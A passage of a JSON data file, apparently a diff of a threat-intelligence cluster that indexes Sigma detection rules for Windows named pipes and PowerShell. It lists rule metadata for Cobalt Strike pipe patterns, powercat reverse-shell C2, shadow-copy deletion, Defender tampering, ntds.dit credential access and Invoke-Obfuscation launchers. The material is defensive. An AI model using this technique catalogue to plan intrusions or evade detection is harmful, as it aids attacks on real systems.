Rodriguez @Cyb3rWard0g", - "creation_date": "2021/10/08", - "falsepositive": [ - "Processes in the filter condition" - ], - "filename": "pipe_created_susp_adfs_namedpipe_connection.yml", - "level": "high", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", - "https://github.com/Azure/SimuLand", - "https://o365blog.com/post/adfs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1005" - ] - }, - "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3", - "value": "ADFS Database Named Pipe Connection" - }, - { - "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", - "meta": { - "author": "Florian Roth, Christian Burkard", - "creation_date": "2021/07/30", - "falsepositive": [ - "Chrome instances using the exact same pipe name \"mojo.something\"" - ], - "filename": "pipe_created_susp_cobaltstrike_pipe_patterns.yml", - "level": "high", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", - "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_cobaltstrike_pipe_patterns.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055" - ] - }, - "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7", - "value": "CobaltStrike Named Pipe Patterns" - }, - { - "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/09/01", - "falsepositive": [ - "Unknown" - ], - "filename": "pipe_created_susp_wmi_consumer_namedpipe.yml", - "level": "high", - "logsource.category": "pipe_created", - "logsource.product": "windows", - "refs": [ - "https://github.com/RiccardoAncarani/LiquidSnake", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_wmi_consumer_namedpipe.yml" - ], - "tags": [ - "attack.t1047", - "attack.execution" - ] - }, - "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb", - "value": "WMI Event Consumer Created Named Pipe" - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/11", - "falsepositive": [ - "Programs using PowerShell directly without invocation of a dedicated interpreter", - "MSP Detection Searcher", - "Citrix ConfigSync.ps1" - ], - "filename": "posh_pc_alternate_powershell_hosts.yml", - "level": "medium", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_alternate_powershell_hosts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "d7326048-328b-4d5e-98af-86e84b17c765", - "value": "Alternate PowerShell Hosts" - }, - { - "description": "Shadow Copies deletion using operating systems utilities via PowerShell", - "meta": { - "author": "frack113", - "creation_date": "2021/06/03", - "falsepositive": [ - "Legitimate Administrator deletes Shadow Copies using operating systems utilities for legitimate reason" - ], - "filename": "posh_pc_delete_volume_shadow_copies.yml", - "level": "high", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://www.fortinet.com/blog/threat-research/stomping-shadow-copies-a-second-look-into-deletion-methods", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_delete_volume_shadow_copies.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ] - }, - "uuid": "87df9ee1-5416-453a-8a08-e8d4a51e9ce1", - "value": "Delete Volume Shadow Copies Via WMI With PowerShell" - }, - { - "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0", - "meta": { - "author": "Florian Roth (rule), Lee Holmes (idea), Harish Segar (improvements)", - "creation_date": "2017/03/22", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_downgrade_attack.yml", - "level": "medium", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_downgrade_attack.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "6331d09b-4785-4c13-980f-f96661356249", - "value": "PowerShell Downgrade Attack" - }, - { - "description": "Detects PowerShell called from an executable by the version mismatch method", - "meta": { - "author": "Sean Metcalf (source), Florian Roth (rule)", - "creation_date": "2017/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_exe_calling_ps.yml", - "level": "high", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_exe_calling_ps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "c70e019b-1479-4b65-b0cc-cd0c6093a599", - "value": "PowerShell Called from an Executable Version Mismatch" - }, - { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", - "meta": { - "author": "frack113", - "creation_date": "2021/07/21", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_powercat.yml", - "level": "medium", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://github.com/besimorhino/powercat", - "https://nmap.org/ncat/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_powercat.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1095" - ] - }, - "uuid": "c5b20776-639a-49bf-94c7-84f912b91c15", - "value": "Netcat The Powershell Version" - }, - { - "description": "Detects remote PowerShell sessions", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/10", - "falsepositive": [ - "Legitimate use remote PowerShell sessions" - ], - "filename": "posh_pc_remote_powershell_session.yml", - "level": "high", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_remote_powershell_session.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006" - ] - }, - "uuid": "60167e5c-84b2-4c95-a7ac-86281f27c445", - "value": "Remote PowerShell Session (PS Classic)" - }, - { - "description": "Detects renamed powershell", - "meta": { - "author": "Harish Segar, frack113", - "creation_date": "2020/06/29", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_renamed_powershell.yml", - "level": "low", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_renamed_powershell.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "30a8cb77-8eb3-4cfb-8e79-ad457c5a4592", - "value": "Renamed Powershell Under Powershell Channel" - }, - { - "description": "RemoteFXvGPUDisablement.exe is an abusable, signed PowerShell host executable that was introduced in Windows 10 and Server 2019 (OS Build 17763.1339).", - "meta": { - "author": "frack113", - "creation_date": "2021/07/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_susp_athremotefxvgpudisablementcommand.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_athremotefxvgpudisablementcommand.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "f65e22f9-819e-4f96-9c7b-498364ae7a25", - "value": "Abusable Invoke-ATHRemoteFXvGPUDisablementCommand" - }, - { - "description": "Detects suspicious PowerShell download command", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/03/05", - "falsepositive": [ - "PowerShell scripts that download content from the Internet" - ], - "filename": "posh_pc_susp_download.yml", - "level": "medium", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_download.yml", - "https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "3236fcd0-b7e3-4433-b4f8-86ad61a9af2d", - "value": "Suspicious PowerShell Download" - }, - { - "description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", - "meta": { - "author": "frack113", - "creation_date": "2021/12/10", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_susp_get_nettcpconnection.yml", - "level": "low", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_get_nettcpconnection.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-2---system-network-connections-discovery-with-powershell" - ], - "tags": [ - "attack.discovery", - "attack.t1049" - ] - }, - "uuid": "b366adb4-d63d-422d-8a2c-186463b5ded0", - "value": "Use Get-NetTCPConnection" - }, - { - "description": "Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration", - "meta": { - "author": "frack113", - "creation_date": "2021/07/20", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_susp_zip_compress.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_susp_zip_compress.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md" - ], - "tags": [ - "attack.collection", - "attack.t1074.001" - ] - }, - "uuid": "71ff406e-b633-4989-96ec-bc49d825a412", - "value": "Zip A Folder With PowerShell For Staging In Temp" - }, - { - "description": "Attempting to disable scheduled scanning and other parts of windows defender atp. Or set default actions to allow.", - "meta": { - "author": "frack113", - "creation_date": "2021/06/07", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_tamper_with_windows_defender.yml", - "level": "high", - "logsource.category": "ps_classic_provider_start", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_tamper_with_windows_defender.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "ec19ebab-72dc-40e1-9728-4c0b805d722c", - "value": "Tamper Windows Defender - PSClassic" - }, - { - "description": "Detects suspicious use of the WSMAN provider without PowerShell.exe as the host application.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/06/24", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_wsman_com_provider_no_powershell.yml", - "level": "medium", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://bohops.com/2020/05/12/ws-management-com-another-approach-for-winrm-lateral-movement/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_wsman_com_provider_no_powershell.yml", - "https://github.com/bohops/WSMan-WinRM", - "https://twitter.com/chadtilbury/status/1275851297770610688" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.003" - ] - }, - "uuid": "df9a0e0e-fedb-4d6c-8668-d765dfc92aa7", - "value": "Suspicious Non PowerShell WSMAN COM Provider" - }, - { - "description": "Detects suspicious powershell process which includes bxor command, alternative obfuscation method to b64 encoded commands.", - "meta": { - "author": "Teymur Kheirkhabarov, Harish Segar (rule)", - "creation_date": "2020/06/29", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pc_xor_commandline.yml", - "level": "medium", - "logsource.category": "ps_classic_start", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_classic/posh_pc_xor_commandline.yml", - "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=46" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "812837bb-b17f-45e9-8bd0-0ec35d2e3bd6", - "value": "Suspicious XOR Encoded PowerShell Command Line" - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/11", - "falsepositive": [ - "Programs using PowerShell directly without invocation of a dedicated interpreter", - "MSP Detection Searcher", - "Citrix ConfigSync.ps1" - ], - "filename": "posh_pm_alternate_powershell_hosts.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/hunts/windows/190610-PwshAlternateHosts/notebook.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_alternate_powershell_hosts.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "64e8e417-c19a-475a-8d19-98ea705394cc", - "value": "Alternate PowerShell Hosts" - }, - { - "description": "focuses on trivial artifacts observed in variants of prevalent offensive ps1 payloads, including\nCobalt Strike Beacon, PoshC2, Powerview, Letmein, Empire, Powersploit, and other attack payloads \nthat often undergo minimal changes by attackers due to bad opsec.\n", - "meta": { - "author": "ok @securonix invrep_de, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Moderate-to-low; Despite the shorter length/lower entropy for some of these, because of high specificity, fp appears to be fairly limited in many environments." - ], - "filename": "posh_pm_bad_opsec_artifacts.yml", - "level": "critical", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_bad_opsec_artifacts.yml", - "https://www.mdeditor.tw/pl/pgRt", - "https://newtonpaul.com/analysing-fileless-malware-cobalt-strike-beacon/", - "https://labs.sentinelone.com/top-tier-russian-organized-cybercrime-group-unveils-fileless-stealthy-powertrick-backdoor-for-high-value-targets/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "8d31a8ce-46b5-4dd6-bdc3-680931f1db86", - "value": "Bad Opsec Powershell Code Artifacts" - }, - { - "description": "Detects keywords that could indicate clearing PowerShell history", - "meta": { - "author": "Ilyas Ochkov, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2019/10/25", - "falsepositive": [ - "Legitimate PowerShell scripts" - ], - "filename": "posh_pm_clear_powershell_history.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_clear_powershell_history.yml", - "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.003" - ] - }, - "uuid": "f99276ad-d122-4989-a09a-d00904a5f9d2", - "value": "Clear PowerShell History" - }, - { - "description": "A General detection for specific decompress commands in PowerShell logs. This could be an adversary decompressing files.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_decompress_commands.yml", - "level": "informational", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_decompress_commands.yml", - "https://github.com/OTRF/detection-hackathon-apt29/issues/8", - "https://threathunterplaybook.com/evals/apt29/detections/4.A.3_09F29912-8E93-461E-9E89-3F06F6763383.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ] - }, - "uuid": "1ddc1472-8e52-4f7d-9f11-eab14fc171f5", - "value": "PowerShell Decompress Commands" - }, - { - "description": "Detects suspicious invocation of the Get-ADDBAccount script that reads from a ntds.dit file and may be used to get access to credentials without using any credential dumpers", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/03/16", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_get_addbaccount.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://www.n00py.io/2022/03/manipulating-user-passwords-without-mimikatz/", - "https://github.com/MichaelGrafnetter/DSInternals/blob/7ba59c12ee9a1cb430d7dc186a3366842dd612c8/Documentation/PowerShell/Get-ADDBAccount.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_addbaccount.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.003" - ] - }, - "uuid": "b140afd9-474b-4072-958e-2ebb435abd68", - "value": "Suspicious Get-ADDBAccount Usage" - }, - { - "description": "A General detection for the Get-Clipboard commands in PowerShell logs. This could be an adversary capturing clipboard contents.", - "meta": { - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "creation_date": "2020/05/02", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_get_clipboard.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/OTRF/detection-hackathon-apt29/issues/16", - "https://threathunterplaybook.com/evals/apt29/detections/7.A.2_F4609F7E-C4DB-4327-91D4-59A58C962A02.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_get_clipboard.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ] - }, - "uuid": "4cbd4f12-2e22-43e3-882f-bff3247ffb78", - "value": "PowerShell Get Clipboard" - }, - { - "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_clip.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_clip.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "a136cde0-61ad-4a61-9b82-8dc490e60dd2", - "value": "Invoke-Obfuscation CLIP+ Launcher" - }, - { - "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the code block cited in the reference section below", - "meta": { - "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", - "creation_date": "2019/11/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_obfuscated_iex.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_obfuscated_iex.yml", - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "2f211361-7dce-442d-b78a-c04039677378", - "value": "Invoke-Obfuscation Obfuscated IEX Invocation" - }, - { - "description": "Detects Obfuscated use of stdin to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_stdin.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_stdin.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "9ac8b09b-45de-4a07-9da1-0de8c09304a3", - "value": "Invoke-Obfuscation STDIN+ Launcher" - }, - { - "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", - "meta": { - "author": "Jonathan Cheong, oscd.community", - "creation_date": "2020/10/15", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_var.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_var.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "6bfb8fa7-b2e7-4f6c-8d9d-824e5d06ea9e", - "value": "Invoke-Obfuscation VAR+ Launcher" - }, - { - "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_compress.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_compress.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "7034cbbb-cc55-4dc2-8dad-36c0b942e8f1", - "value": "Invoke-Obfuscation COMPRESS OBFUSCATION" - }, - { - "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_rundll.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_rundll.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "a23791fe-8846-485a-b16b-ca691e1b03d4", - "value": "Invoke-Obfuscation RUNDLL LAUNCHER" - }, - { - "description": "Detects Obfuscated Powershell via Stdin in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/12", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_stdin.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_stdin.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "c72aca44-8d52-45ad-8f81-f96c4d3c755e", - "value": "Invoke-Obfuscation Via Stdin" - }, - { - "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_use_clip.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_clip.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "ebdf49d8-b89c-46c9-8fdf-2c308406f6bd", - "value": "Invoke-Obfuscation Via Use Clip" - }, - { - "description": "Detects Obfuscated Powershell via use MSHTA in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2020/10/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_use_mhsta.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_mhsta.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "07ad2ea8-6a55-4ac6-bf3e-91b8e59676eb", - "value": "Invoke-Obfuscation Via Use MSHTA" - }, - { - "description": "Detects Obfuscated Powershell via use Rundll32 in Scripts", - "meta": { - "author": "Nikita Nazarov, oscd.community", - "creation_date": "2019/10/08", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_use_rundll32.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_use_rundll32.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "88a22f69-62f9-4b8a-aa00-6b0212f2f05a", - "value": "Invoke-Obfuscation Via Use Rundll32" - }, - { - "description": "Detects Obfuscated Powershell via VAR++ LAUNCHER", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/13", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_invoke_obfuscation_via_var.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_invoke_obfuscation_via_var.yml", - "https://github.com/Neo23x0/sigma/issues/1009" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027", - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "f3c89218-8c3d-4ba9-9974-f1d8e6a1b4a6", - "value": "Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION" - }, - { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", - "meta": { - "author": "frack113", - "creation_date": "2021/07/21", - "falsepositive": [ - "Unknown" - ], - "filename": "posh_pm_powercat.yml", - "level": "medium", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/besimorhino/powercat", - "https://nmap.org/ncat/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_powercat.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1095" - ] - }, - "uuid": "bf7286e7-c0be-460b-a7e8-5b2e07ecc2f2", - "value": "Netcat The Powershell Version" - }, - { - "description": "Detects remote PowerShell sessions", - "meta": { - "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "creation_date": "2019/08/10", - "falsepositive": [ - "Legitimate use remote PowerShell sessions" - ], - "filename": "posh_pm_remote_powershell_session.yml", - "level": "high", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_module/posh_pm_remote_powershell_session.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.lateral_movement", - "attack.t1021.006" - ] - }, - "uuid": "96b9f619-aa91-478f-bacb-c3e50f8df575", - "value": "Remote PowerShell Session (PS Module)" - }, - { - "description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators.\n", - "meta": { - "author": "frack113", - "creation_date": "2021/12/15", - "falsepositive": [ - "Administrator script" - ], - "filename": "posh_pm_susp_ad_group_reco.yml", - "level": "low", - "logsource.category": "ps_module", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.002/T1069.002.md", - 